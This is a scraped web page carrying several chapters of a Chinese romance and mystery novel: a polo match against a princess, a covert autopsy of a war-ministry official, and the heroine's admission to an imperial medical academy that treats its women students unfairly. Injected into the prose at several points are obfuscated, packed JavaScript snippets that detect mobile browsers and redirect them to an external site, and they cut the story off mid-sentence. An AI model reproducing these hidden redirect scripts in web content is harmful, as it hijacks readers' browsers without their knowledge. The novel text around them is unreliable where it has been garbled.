球杆架前,梨花正一根一根拔出球杆来看,掂一掂再放进去,半天才挑出一根称手的,扬声问:“可以给我讲一下规则吗?” 宁照夜低头,才看见梨花倒拿着球杆,早想到她球技不好,却没想到连规则都不知道,这还怎么打,宁照夜脸都绿了。 其他人看笑话,戏耍公主,她吃不了兜着走。 “噗!”顾承嗣笑喷了,对梨花道:“看你答应的那么痛快,以为高低有两下子,没想到是逞口舌之快,哈哈哈。” 他笑着,随手将梨花手中球杆翻过,告诉她如何用杆,如何击球。 看她站着不动,杨贞眼皮一颤想上前说和,可公主本就是因为他才迁怒梨花,他此时再去无异于火上浇油,于是滞步。 宁照夜以为她害怕了,突然心情大好:“本公主大人有大量允许你求饶,快滚吧。” 黄蔓倒没什么顾忌,走到几人面前道:“马球向来都是组队比的,何不各自挑选队友并肩而战?”有人合作,梨花不会输得太难看。 宁照夜点点头,觉得这个提议不错,免得别人说她欺负人,便要梨花挑选队友。 梨花琢磨,这打马球不就和击粪球一样嘛,差别是一个用扁扁的杆面敲打,一个用棍头击打,一个往洞里勾,一个往人身上挑,应该差不多。 但毕竟是第一次打,有个队友能更快上手,便没有拒绝。可偌大的马球场,她该找谁呢,环视一周大声问:“有哪位愿意做我的队友吗?” 自然没有人回答她,对面那可是公主,谁吃了熊心豹子胆帮她与公主作对。 这时杨贞终于按捺不住站到梨花身边:“我可以吗?” 打马球杨贞很擅长,多年前便是在马球场上,少年一计银月弯钩打进宁照夜心里。 那时宁照夜唯唯诺诺不敢见人,躲在观众席后偷看,这一看就是一眼万年。她私下打听才知道,这是太子哥哥的表弟,皇后娘娘的亲侄子,与她门当户对。 少女心事不敢与人讲,全寄托在马球之上,经年累月练习,练得一身好球技。可惜杨家出事以后,杨贞不大进宫,她没机会与杨贞切磋请教。 如今杨贞再次上场,竟是为了别的女人,宁照夜心中五味杂陈,可身为公主的骄傲让她连哭的资格都没有。 顾承嗣听说要组队比赛,马上去取球杆,回来见这三人情形,主动走到宁照夜身边,“就知道没人要你,我勉为其难与你一队吧。” 宁照夜嫌弃道:“谁要与你组队?” “那你想与谁一队,杨行勉吗?”他努努嘴,“人家名草有主了。” 此话简直往宁照夜心窝子上戳,气得她伸出球杆敲在顾承嗣屁股上,顾承嗣吱哇乱叫,“母老虎打人啦!” 在杨贞面前这样丢人,宁照夜倍感羞愤,她厉声道:“我就是要与行勉哥哥组队又如何?” 看着她绯红的眼,顾承嗣顿时消停,把梨花往身边一拉,“不如何,那我就和这位娘子一起咯。” 他强行确定队友,也不给别人商量的机会。 梨花倒是无所谓,有个队友就行,杨贞却是有苦说不出。 驯马师牵一匹黑马过来,黑马是皇家御马,个头高大体型壮硕。梨花对牛羊马匹天然亲近,伸手抚摸黑马脖子,黑马用鼻子蹭梨花。 顾承嗣看她半天不上马,无语地问:“你不会连马怎么骑也不懂吧?” “略懂。” 说罢,梨花脚踩马镫一下翻上去。 场外观众看得热闹,竟有胆大之人坐起庄来。 一边是刚打完几场体力消耗许多的顾承嗣,和上完全不会打马球的民女,另一边是当年叱咤马球场的杨贞,和如今球技一流的明月公主,谁都知道怎么押。 闹哄哄的赌桌上突然覆上一片黑色衣袖,色泽明润的玉佩放在无人押注的那一边,人群中清冷的声音响起:“我赌她赢。” ———— 四人四骑对立,顾承嗣看向宁照夜,宁照夜看向杨贞,杨贞看向梨花。 宁照夜对梨花道:“你不会打,我不占你便宜,让你一球。” 梨花死死盯着地上的粪球,哦不,是马球,原来刚才袭击她的就是这东西,看着不大点儿,更像粪球了。她回道:“谢了,公平竞争,不需要。” 随着令官哨响,四根球棍同时挑向马球,顾承嗣最先碰到球,带球在场中奔驰,他对杨贞高喊:“知道你怜香惜玉,可不要放水哦,我不会对你手下留情。” 宁照夜眼眸低垂,杨贞起初就不想参赛,现在被顾承嗣强行推到她身边,他该是不乐意的,却听杨贞道:“自当全力以赴。”她喜笑颜开。 梨花顾不上他们,满眼全是马球。草原上的粪球静止不动,只需要躲开别人砸过来的粪球,再把自己脚下的粪球打向别人,可马球满场乱飞,看得她眼花缭乱,只能硬着头皮对付。 好在顾承嗣也是打马球的一把好手,梨花努力不让自己当拖油瓶,模仿他们的动作渐渐上了手。 马球规定四人赛双方先进七球者获胜,没过一会儿便赛至五比六,梨花他们是五。 这时梨花抢到球,却被对方两人包围,她无处可逃,远远将球送给顾承嗣,顾承嗣背对球门身子后仰,倒钩一球稳稳进洞。 这是杨贞的成名绝技银月弯钩,他也会,还使得炉火纯青,宁照夜看呆了,杨贞自己也没想到,多年后还有人记得这一招。 梨花兴奋地骑过去与顾承嗣击掌,顾承嗣朝对面挑眉,随即继续比赛。 赛点总是最令人激动,装了半天矜持的谢知秋跑到前面,黄蔓笑问:“你觉得谁会赢啊?” “当然是……公主。”她说了一半停顿一下才接上公主两个字。 黄蔓望向场中:“且看着吧。” 最后一颗球谁都想进,四人围着球你来我往几十个回合,顾承嗣眼见体力不支,球被杨贞抄走,宁照夜提着气翘首以盼在洞口等待这颗球。 杨贞却有些犹豫。 这球打完梨花便输了,难道真要她因此离开京城,这万万不能。可比赛应该尊重对手,梨花连一颗让球都不接受,怎会接受他当众放水,这无异于羞辱。 梨花站在杨贞和宁照夜正中间,万分后悔怎么没要宁照夜让的那一球。 要面子一时爽,输掉比赛心拔凉。 她噘嘴眼巴巴望着杨贞,希望他能看出自己乞求放水的小心思。 杨贞接收信号:梨花要我尽管出手。 于是马球以一个中场完全拦截不到的高度飞出去,梨花凉掉的心彻底死了。 顾承嗣垂下球杆准备接受败局,什么赌约不过小孩子过家家,宁照夜的脾气来得快去得快,回头哄哄她,她不会为难一个民间女子。 这时场上却出现惊人一幕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾承嗣看得下巴快掉下来:“这是谢舟吗?他还会有表情?”他看向捂着屁股惨叫的梨花,点点头道:“是他。” 杨贞停在三步开外不肯过来,顾承嗣扶起梨花道:“输了球赛也不能输了球品吧。” 杨贞手腕发抖,他没想到梨花为了赢这场球赛连性命都不顾。 ———— 观众席上,宁照夜有些郁闷地坐着。 紫衣女子凑上前开解她:“那养颜膏是低贱之物,怎配得上公主千金玉体,不向她买便是,还不是您一句话的事儿。” 宁照夜斜了她一眼,“你是要本公主出尔反尔?” 谢知秋稍微压一压为顾承嗣胜利高兴的喜色,柔声道:“公主何必为一个贱民生气,她能赢全靠顾公子尽力,以及公主您的手下留情。” 她这话说的在外人看来极有情商和眼色,公主自恃球技好才与人比赛,却当众输了,必是感觉颜面丢尽。 宁照夜突然冷脸,“她明明凭实力赢的,只因我是公主你们就颠倒黑白,我输了球赛还要输球品吗?她一个从前马球都没摸过的人,敢和我比赛,这份勇气已经赢了。” 谢知秋碰了一鼻子灰,默默退回去。 宁照夜叹一口气,在外人眼中她就是这种不讲信誉、不讲道理的人吗,难怪杨贞不喜欢她,她更郁闷了。 年轻人玩够了,李潇才出场,端的雍容华贵的架子,对女儿却全是头疼。 她在后面观察许久,顾承嗣那么活泼机灵的人她不喜欢,偏揪着杨盈那死气沉沉的侄子不放。 她与其他贵妇寒暄,言语间流露出撮合各家适龄青年男女的意思,官员夫人们也都是人精,顺着她的话往下接,便安排部分人去太液池参加赏花午宴。 杨贞收拾好梨花的东西带她出去,没有喜欢的人作陪,宁照夜谁的面子也不给,拂袖而去。 不一会儿赛场上又传来惊叫声,有人坠马被马踩伤了,踩伤人刚巧是李遥的狮子骢。 22. 真真假假 太液池畔,杨柳依依。 梨花蹦蹦跳跳走在前面,杨贞不疾不徐跟在身后,走到一棵大柳树下停住。 梨花拿出为杨贞绣的手帕递过去,“杨大哥,你的帕子我不小心洗坏了,只好绣一张给你。” 杨贞接过绣帕端详半天,绣线歪歪扭扭看得出刺绣之人手艺粗糙,上面只有一片花瓣,大抵绣不出第二片。 他目光从绣帕移到面前之人脸上,她额头碎发被汗黏在脸上,脸颊绒毛泛着微光,满眼期待望着他,他捻起袖子为她拂汗,将头发勾在耳后。 梨花眸中闪过一丝失望,她果然绣得太难看,杨贞宁愿用袖子都不肯用她绣的帕子,便伸手要取回,“抱歉,你告诉我帕子从哪里买的,我买来还你。” 她轻轻用力一拉,手帕却纹丝不动攥在杨贞手里,她疑惑地看向杨贞,杨贞目光灼灼开口:“你知道女子送给男子绣帕是什么意思吗?” 他问到梨花知识盲区了,老爹只告诉她有借有还,不要轻易欠别人恩情,她想着自己绣比买便宜些,却忘了杨贞是官宦子弟,自是用惯了好东西。 她忙道:“你不愿意不必勉强。” “我愿意。” 杨贞似乎生怕梨花后悔,握着帕子的手更用力,微微的颤抖像一阵电流传过帕子流向梨花。他不自觉往前半步,头顶传来“咔嚓”一声,一根树枝突然断裂砸下来。 杨贞伸手要拉开梨花,梨花反应更快立刻向后退一步,树枝落下来横亘在二人中间,杨贞默默收回抓空的手,拿开树枝摆到不碍事的地方。 梨花闪躲的动作牵扯被谢舟丢在地上时受的伤,揉揉后腰,旁边经过一队运送马具的宫人,杨贞想起梨花骑马时的危险动作,皱眉道:“今日马球赛你实在冲动。”她摔下马让他后怕。 他叹一口气,“罢了,此事因我而起,我会与明月公主说清楚,以后定不会再发生这样的事。” 梨花咬唇,他第一次见到杨贞生气,果然他还是更在意公主,赛场不肯给她放水,赛后还要怪她争强好胜。 他们本就不是同一个世界的人,因救命之情有过几次交往,算不得什么,生出不该有的心思是她的错。 她温声道:“杨大哥,谢谢你在我孤立无援的时候站出来。”不管怎样,他是唯一一个主动站出来当她队友的人,“等我攒够钱进太医院,我再赔一个新帕子给你。” 梨花说完话笑着招手与他道别,杨贞执帕的手沉得抬不起来。 ———— 出了熙园,梨花沿道一路走,来的时候有马车,回去的时候靠两条腿,熙园在城北,还春堂在城南,天知道要走多久。 梨花愁眉苦脸趿拉步子往前晃,突然被草丛里冲出来的人撞倒,今天这屁股糟老罪了,她捂着屁股要理论,就看见小川躲躲闪闪往草丛另一头张望。 “喂,又做坏事!” 梨花大叫一声吓到小川,小川回头看到是她,眼中的警惕一闪而过,嘻嘻哈哈道:“可不是嘛,又被你撞见了。” “快快坦白来这里做什么?” “昨夜听来楼里吃酒的大官说熙园有盛宴,也想尝尝贵人们吃的山珍海味,混进来没吃两口就被发现了,那些人闲得没事做吗,一路追我追到外面还不停歇。” 小川扯扯梨花有些松散的辫子问:“你也偷吃被追?那不如……我们亡命天涯吧,我知道有条小路……” “哎呀!” 梨花给他屁股上还了一脚,用命偷吃也是昏了头了。 这时身后驶来一辆马车,驾马的是浊流,车里坐的只能是谢舟,梨花跑过去拦下马车,“谢大人要回去?可否顺道载我们一程?” 有求于人,梨花不提刚才谢舟救她和摔她的恩怨,声音软软态度极好。 谢舟撩开车帘,见梨花手托着腰一副可怜兮兮的样子,对她不顾安危求胜的气全消了。再一看身后还站着一个人,一股怒气又窜上来。 “不顺道。” 熙园回城只有一条大路,怎么不顺? 梨花正要问,一队士兵已经循着脚印追过来,按住梨花和小川后,为首的士兵便对着谢舟的马车行礼,“谢大人,我等奉命捉拿贼人,这二人没伤到您吧?” 梨花大惊,这些人恐怕是来抓小川的,她赶忙道:“我们不是刺客,是明月公主请来诊病的大夫,不信你问谢大人。” 为首的士兵看向谢舟,谢舟问道:“怎么回事?” 士兵道:“荣国公的马受惊了踩着人,似乎是马吃错了东西,伤到的是兵部侍郎严灼的儿子,太后娘娘下令彻查。” 谢舟眼神转动,看向梨花道:“她受公主相邀。” 士兵松开梨花,却未放小川,梨花道:“他是我的助手,他也不是贼人。” 士兵等待谢舟指示,谢舟不说话,梨花总觉得眼下场景似曾相识,她顾不得多想扒在马车窗边,对谢舟露出一个乞求的眼神。 谢舟放下帘子,冷冷一句:“都上车吧。”士兵便放了二人。 马车上,谢舟在正中,梨花在他左手边,小川在他右手边。马车晃呀晃,梨花终于想起来,难怪谢舟脸色不好看,“奸夫”上车了。 清溪查过小川,只是醉仙楼一个打杂的小伙计,背景干净,因为帮舞姬采买药品,与还春堂常有往来。 小川从怀中掏出一包东西,旁若无人交给梨花,“膳房刚做好的金丝山茶酥,每年只有这个季节才有,甜而不腻,你尝尝。” 没吃独食还算他有良心,梨花正要吃,莫名的寒气从身旁散发,谢舟道:“我的马车里不许吃东西,不然再把你丢下去。” 梨花掀开一半的点心又包回去,摸着有些隐隐作痛的屁股,才想起马球场上的事:他到底为什么救她又丢她呢? 梨花对小川道:“小川我问你一个问题,你说有人在你坠马的时候救了你,然后又莫名其妙把你丢在地上,你说这个人是什么意思?” 她边说边不着痕迹观察谢舟的表情,小川突然炸起:“你坠马了!刚才你也在马球场上?让我看看。”他坐到梨花旁边“上下其手”检查。 梨花拍开他的手,“我没事,是我的一个朋友。” 小川坐回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018210|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“哦,这个人讨厌你朋友。” “这样啊。”梨花莫名有些失落。 马车内寒气更重了。 “下去。” 谢舟拉拉铃铛,浊流停下马车。 梨花撩开车帘看看,嘟囔着:“没到呢。” “下去。” “好嘞。” 从善如流这块儿梨花和小川都好得很。 ———— 谢舟回到暮寒院书房。 浊流在门外守着,只听里面“当”的一声,像是砸了什么东西。清溪正好过来,以为谢舟又发病了,忙冲进去。 书房里谢舟脸色正常坐着,四处整整齐齐,只有地上躺着一只精美的木盒,木盒上是一朵梨花,似乎刚雕刻好。 清溪捡起木盒道:“大人,您的东西。”他正要放到桌上,谢舟道:“没用的东西,拿去丢了吧。” 清溪摸摸木盒,上好的楸木丢了怪可惜的,不如留着自己用。 他打开木盒,里面是一方粗糙手帕,上面绣了几个圆圆的东西,看来看去认不出绣的何物,他大笑:“谁饿了把大饼绣在手帕上,新型的画饼充饥吗,笑死人了,哈……” 没笑完,就发觉一道冰冷目光射在身上,他眨眨眼,看看手帕、看看木盒,再看看谢舟,好像哪里不对劲。 大人会绣手帕吗?不会呀,只能是女子相送,自家大人铁树开花了。可大人恶名在外哪有女子敢靠近,唯一有接触的就是那个总惹大人生气的方梨,不会是她吧……那这梨花木盒是大人雕的? 一想到这个可能性,清溪感觉自己被雷劈了,捧着两样东西进退两难。 谢舟一把夺过东西丢进火盆,眼皮一撩问:“你是不是最近很闲?要不跟着去辽东救济难民。” “不不不。”清溪连忙摆手拒绝,“您手掌怎么了?”他眼尖看见谢舟手流血了。 谢舟手一缩,“无碍,被树枝划了一下,你有何事?” 清溪这才想起正事来,沉声道:“高彪死了。” 高彪是前任兵部尚书,即将致仕。五年前他还只是兵部车驾清吏司的六品主事,负责驿递管理。六十多岁本已没有提拔希望,因为收到卢会荣送来的密信,揭发谢谦通敌有功,一路平步青云至二品尚书之位。 高彪尸位素餐,兵部事务全靠侍郎严灼处理,他致仕后严灼就是铁板钉钉的下任尚书,是以严灼从不与高彪有龃龉,高彪乐得清闲等致仕养老。 “怎么死的?” “马上风。” 男女欢愉之时猝死俗称马上风,高彪是色中饿鬼,家中有十几房小妾还时常寻花问柳,每日宿在女人身上,他这样的下场毫不奇怪。 但谢舟才从卢会荣嘴里撬出当年通敌密信的事,正要找高彪求证,高彪便死了,不得不让他怀疑。 今日李遥的马踏伤严灼的儿子也十分蹊跷,好巧不巧踏在关键部位,让严家绝了后,严夫人当时就坐在李潇身边,听闻噩耗直接昏过去。 谢舟指尖一下一下扣击桌面,接连的事情绝非巧合,京城的水越来越浑了。 23. 峰回路转 与小川分别后,梨花心情大好回了还春堂,回去时候已是傍晚,阿香和秋水仙没关店,一前门一后门翘首以盼,街口望见梨花便迎上去。梨花添油加醋将熙园所见描绘一番,只略去自己遇险那段。 阿香搀着梨花胳膊道:“就知道来者不善,看那婢女的神气样,不知道的以为她才是公主呢。” 秋水仙接过梨花手里的东西,掰开一半塞进阿香嘴里,“多亏梨花机智勇敢化解一场危机,此后平安顺遂再无祸患。” 梨花道:“说得对,以后咱也算皇商了,生意滚滚来,都挺起胸膛好好干!对了阿香,这金丝山茶酥好吃吗?小川给的。”她还没尝这酥饼的味道呢。 秋水仙问:“他也去熙园了?”正狼吞虎咽的阿香突然慢下来。 梨花恍然反应这是个秘密,便道:“哦,回来路上碰到的。”再没多说,三人回房休息。 次日,梨花在店里望眼欲穿也不见宫里来人,难道明珠公主说话不算话,用命拼来的生意要黄了?太医院院考报名截止时间将近,她还等着这笔钱去捐官呢。 秋水仙送走一位客人走过来道:“宫里采买流程复杂,许是层层签文没完成,再等等吧。”梨花点点头。 门口进来一个戴幂篱的女子,秋水仙正要接待,梨花拉开秋水仙示意她来。 来人是财神爷鸳夫人,既没让王夫人跟着,也没带婢女,既不偷看,也不拿乔,跟着梨花进入内间。 “那药再给我来一些。” “什么药?”梨花故意装傻。 “就是……‘韦兄’啊。”隔着幂篱都能看见鸳夫人羞红的脸。 说起“韦兄”,背后还有一段故事。 归流河畔洗衣的痩妇人一直未孕,遍寻良医不治,与胖妇人诉苦,哭哭啼啼要投河,梨花道:“生不出孩子便是女人的错?怎么不叫男人去看病。” 这话惊世骇俗,世人皆认为生育本就是女人天职,她无法尽妻子之责,还敢质疑丈夫,要被人指着脊梁骨骂,两妇人不敢接话,敷完面匆匆走了。 三更天,有人扣门,梨花开门见到两个将头脸裹得严严实实的人,进门才看清是痩妇人与他的丈夫。痩妇人回去越想越觉得梨花的话不无道理,夜半撺掇丈夫来看病,梨花一瞧,还真是男子的问题,便开了几剂药让其重振雄风。 后来此事不知被谁传了出去,竟有不少男客暗中上门,因男子姓韦,他们便说“买韦兄一样的药”,后来“韦兄”便成了药的暗号。 靠着卖“韦兄”,梨花大赚一笔,又放出风该药短缺,很多人加价购买,又赚一笔。 鸳夫人依照梨花秘方指示,在家中穿着清凉又扔下旁事不管,丈夫觉得她人美了,脾气也变好了,想起过去的温柔小意,二人重拾爱意甜蜜一番。但丈夫年事已高,力不从心,鸳夫人又想起梨花。 为了抢“最后”一点“韦兄”,鸳夫人掏了大价钱,满意离去。 阿香惊奇:“一本万利的生意咱们为何不大肆铺开?” 梨花道:“这东西你要拿到台面上还真卖不出去,从前乡下有个孕妇被丈夫传染花柳病生下病婴,丈夫却说妻子是丧门星,男人都好面子。” 阿香若有所思点点头,梨花觉得背后一阵凉风,回头一看谢舟黑着脸站在门边。 “呵呵,我不是说你。” “跟我走一趟。” 梨花不敢置喙缩缩脖子跟上去。 ———— 兵部尚书死亡本该由锦衣卫调查,奈何高彪死因实在难以启齿,他家人只向皇帝告丧,谢舟不好强行调查,只能以吊唁之名进入高府,梨花扮作婢女同去。 高夫人是个三十出头的美妇人,披麻戴孝跪在灵前,一抬头见到谢舟,不自然地抿抿头发。 下人过来禀报外头有人闹事,夫人抹抹眼泪纤腰一拧走了,走出两步又回望谢舟一眼,含羞欲泣。 梨花轻声道:“大人魅力非凡,俏寡妇都向你抛媚眼呢。” 谢舟不理她,只道:“看看他怎么死的。” 梨花眼珠差点瞪出来,“叫我验尸?”虽说学医多少了解些尸体,但她不专业啊,“你怎么不找仵作?” “找仵作太引人注目。”说着谢舟已经趁无人推开棺盖拉梨花上前,里面散出一股淡淡的防尸腐药的香味。 高彪脸色黑紫,表面确实是兴奋过度引发猝死,但她垫着黄纸撬开高彪嘴巴一看,舌头肥大舌根有齿痕,生前睡眠严重不佳呼吸不畅,再看心口处长出发散性裂纹,更像是中毒。 尸身处处是疑点,高家人竟无人在意,可见高彪在家中多讨人嫌。 还没查验完,高夫人已经回来,衣衫比离开时散乱些。 谢舟快速盖上棺盖,二人若无其事站回去。 高夫人道:“门口有个女子,说与我家老爷一夜风流,带着腹中孩子找上门来,让大人看笑话了。” 谢舟问:“高夫人常处理这样的事吗?” 高夫人笑道:“没有的事。” 谢舟又问:“府中近来可有异常?” 高夫人仍答:“没有。” 她身后的小丫头道:“怎么没有,管家刚不是说丢了一个婢女吗?” 高夫人回头瞪小丫头一眼,用手帕遮唇叹息道:“老爷便是在她床上没的,我不想再追究,府中事务繁忙,就不送谢大人了。” 人家下了逐客令,谢舟只好带梨花离开。 梨花一路出神,想着刚才的香味似乎在哪里闻到过,谢舟道:“今天的事不要说出去。” 梨花拦住谢舟:“我是不是又知晓了谢大人一个秘密,谢大人打算怎么封口呢?要不付一些封口费,我要的不多,锦衣卫下个月的茶水费预支了就行。” “你很缺钱?” “很缺。” “要钱做什么?” “参加三年一次的太医院院考,我没有传承,只能花钱捐官。” “为什么想进太医院?” “进入太医院是学医人的梦想,我也不例外。” 虽说去找老爹才是根本原因,但梨花也不算说假话,太医院有各种医史典籍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029146|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果能进去学习,可以了解许多疑难杂症和特殊疗法,大大提高医术。 谢舟嘲讽:“白日做梦。”转身离开。 梨花沉默低头站着,手藏在袖中有些委屈,脚边突然落下一个荷包,谢舟背身道:“下月的茶水钱。”梨花捡起荷包,谢舟身影已经消失。 很快梨花便知道谢舟说的“白日做梦”是什么意思了。 她凑齐银子赶在报名截止时间前去太医院,仍是初次见到的几个小吏当值,他正躺在椅背上,似乎没想到真有人捐官,登时坐直身子。 半晌后,小吏热切地拿出报名表让梨花填信息,之前那份早被他丢了,收下银子和报名表,他便让梨花回去等消息。 见他表情有异,梨花留了个心眼,躲在墙后观察。 一人问:“她等什么消息啊?” 另一人答:“落选的消息呗,还真以为有钱就能参加院考?你比她还天真。” 却见小吏把报名表丢在一边,笑呵呵与他们说:“太医院从无收女子的先例,这些银子就当她为天真交的学费,哈哈哈。” 原来不论她医术如何,也不论她是否达到捐官标准,只因她是女子,从一开始就没有报名资格。 梨花气鼓鼓夺回银子:“就是丢到河里喂鱼也不便宜你们!” 唯一的路断了,努力这么久到头来是一场空。 晚上,梨花失魂落魄站在还春堂门前。 柚叶挂在墙上,桌上摆满热气腾腾的饭菜,还有她最爱吃的肘子,尽管条件简陋,阿香和秋水仙还是为庆祝梨花报名成功准备了许多东西。 梨花提一口气收拾好心情进去,坐到桌前抱起肘子就啃,化悲愤为食欲。阿香和秋水仙看出不对,阿香正要开口被秋水仙拉住,三人喝了个畅快。 醉后,梨花才哭着道出太医院的行径,阿香便是一顿大骂,秋水仙轻抚梨花后背安慰她,这时突然有人扣门。 秋水仙开门,外头站着个鼻青脸肿的男人,秋水仙以为他要买伤药,结果那人避开她朝里面张望,见到梨花三步并作两步跑过去。 “方姑娘,您的报名表递上去了,三天后拿文书去太医院报道就行。” 梨花本来喝得头发懵,看见盖了印的太医院文书立刻酒醒了,接过文书看了又看,不敢置信。 来人是白天的小吏,他道:“今年院考改革,允许女子参加,我特来送文书。”他缺牙漏齿说话漏风,梨花倒是听清了,呆坐原地不敢动,生怕这是个梦。 “可为什么是报道,不是考试呢?” “为彰显公平,所有报名者集体入太医院学习,一月后再考。” 还有这样的好事,梨花飘飘然如在梦中。 小吏传完话着急慌忙走了,留下三个姑娘你看看我,我看看你,随后爆发欢呼,又喝起来。 与此同时,兵部尚书高彪家突发火灾,火情不大不小刚好把灵堂烧光,夫人觉得不吉利,提前将高彪入殓,卖了房子、遣散下人,带着银钱消失得无影无踪。 谢府柴房里则多了一个女人。 24. 差别对待 报到前的三日,最忙的当属阿香,未来一段时间还春堂只剩她一人经营,忙得不可开交。 梨花去院考在计划之内,秋水仙则在意料之外。秋水仙在回春堂这段时间对药理知识产生浓厚兴趣,她不为进太医院,只想有难得的学习机会,便也报名了。 文书里写了要住在太医院,每十日休沐一日,梨花和秋水仙收拾好包袱去太医院报到,她们到的时候院中已经站了许多人,一眼望去全是男子,上到九九,下到十九,什么年龄段的都有,不消片刻便张兄、李兄、王兄的叫起来,甚至有先先先先辈师承一脉的,更是热络地握手拥抱。 在乌泱泱的男人中有一道无形结界,擦亮眼睛才看到结界内是三个女子,一个中年妇人搂着一个小女孩,正与另一个女子交谈。竟有同道中人,梨花兴奋地过去与她们打招呼,秋水仙跟在身侧。 见她们靠过来,妇人露出同情的目光道:“又是两个可怜人。” 梨花问道:“此话何解?” 妇人问:“你们不是无处可去才来这里暂时落脚吗?” 秋水仙摇头,“我们是来求学和考试的。” 妇人与女子对视一眼,不好意思地冲她们笑笑,见梨花皱眉,妇人便解释道:“我叫庚娘,这是我闺女小丫,我那口子没了,我们母女二人被族人赶出来无处可去,这里包吃住,所以……” 女子朗声道:“我是陆鹏,大鹏展翅的鹏,今年二十三,随爹当了仵作,媒人说男人们嫌我晦气,怕我克死他们,爹怕我嫁不出去不许我再干仵作,还逼我学女红,我一气之下跑出来。” 秋水仙道:“这么轻易便能被克死,本来也是短命鬼。” 梨花对秋水仙竖起大拇指,“跟阿香呆久了,仙仙骂人的本事见长,可是陆姑娘怎么想到来此处?” 陆鹏道:“医活人要望闻问切,验死人也要望闻验录,大体上差不多,我来精进一下手艺,顺便躲一躲我爹。” 梨花手捂脑门儿,感情都把这里当收容所了。 这时人群中传来一阵骚动,院东侧杏林堂门打开,杏林堂原本是太医院的议事厅,供众太医围坐研究疑难杂症,此时辟出来作为学堂。 杏林堂出来几个小吏,随后出来一个穿蓝色内官服的男人,小吏道:“这位是宫中安乐堂的林公公,专司宫人治病修养,宫里特拨来照顾列位学子,这可是你们的福分。” 有懂事的立刻躬身行礼道:“辛苦林公公指点。” 林公公摆摆手,“指点不敢,无非是做些照顾人的粗活,你们在此处衣食住行有何问题随时来找我。”说着便将一把挂红穗的钥匙塞到懂事学子手里。 一个小吏道:“现在分配房间。”另一个小吏端来一个托盘,上面排了一排钥匙,分别挂有红黄蓝紫四色布穗,男学子们早交换过信息,找好室友,纷纷上前取走钥匙,只默契地留下紫色那把。 梨花她们五个人只剩一把钥匙,陆鹏问:“是不是少了几把?”小吏看他们一眼没说话,扔下紫色钥匙走了。陆鹏追过去问,被庚娘拦住,“要不咱们先去看看。” 后院是寝室区,与钥匙布穗对应的门上挂了相应颜色的布条,紫色在最里面靠近茅房的角落。进去一看,里面陈设简陋,只有两张不大的双人床。 “义庄的尸体还一尸一床呢,这房间也太欺负人了吧!”陆鹏转身便跑出去找小吏理论。 梨花出门去看其他寝室配置,红色寝室是单人房间,笔墨纸砚梳洗用具一应俱全,黄色寝室放两张单独大床,其他东西与红色寝室一样,蓝色寝室放三张单独大床,空间略微拥挤,只有紫色寝室房小床小人却多。 小小寝室还分出三六九等,梨花叹息,却听杏林堂前起了争吵声,陆鹏正与一男学子争抢一件衣服。 这是第一届太医院学班,为显正式庄严,太医院给学子准备了统一的校服。 陆鹏道:“凭什么我们没有校服?” 男子道:“女子参加院考本就是临时决定的,哪里来得及为你们做校服?” 陆鹏道:“你们有的我们也该有,先到先得,快把衣服给我。” 男子道:“我乃堂堂药王传人,你什么水平和我穿一样的?” 陆鹏被问住了,眼睛干眨几下不知说什么,梨花拍拍她肩膀安慰她,对男子道:“谁还不是个传人了?” “你们是何传人?” 梨花道:“我乃李氏金针传人,她是陆氏叶子刀传人。” 男子疑惑,“我没听过什么李氏金针、陆氏叶子刀。”旁边陆续围过来几个人,他问:“你们可曾听过?”其他人摇头。 梨花道:“我爹姓李,绝活便是金针刺穴,能活死人肉白骨,她爹姓陆,一手叶子刀法能使剖开的尸身完美合回去,我们女承父业,怎么不算传人?” 药王传人怒道:“你戏耍我?”用力要扯走校服。 梨花道:“字字句句为真,何来戏耍,倒是不知你这药王传人有何本事?”她说着与陆鹏一起拉住校服。 药王传人冷哼:“说出来吓死你,我药王谷有世间所有珍稀药材,没有我治不好的病。” 梨花笑道:“当真,那你可敢与我们比比?” 看热闹的人越来越多,纷纷应和:“和她们比。” “对,给她们点颜色瞧瞧。” 药王传人道:“比就比,赢的人可以拿走校服。” 梨花伸出一伸手指摇了摇,“不够。” “什么不够?” “赢的人不但能拿走校服,还能要求住对方的寝室,如何?” 药王传人眼神犹豫看向他的两位室友,道:“三人寝室岂能我一人做主?” 另外两人突然被拉入战火,互相对视一眼。 一人道:“女流之辈,我不屑与你们比较。” 另一人道:“注定的结果,何必浪费时间。” 陆鹏一挑眉嘲讽道:“不会是不敢吧,几个大男人输不起?” 先一人道:“有何不敢?” 后一人道:“你才输不起。” 众人也拱火,“和她们比,输了叫她们滚出去。” 筹码越叠越高,陆鹏有些生怯看向梨花,正好庚娘带着孩子也过来,对梨花道:“要不算了,一件校服而已,咱们不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 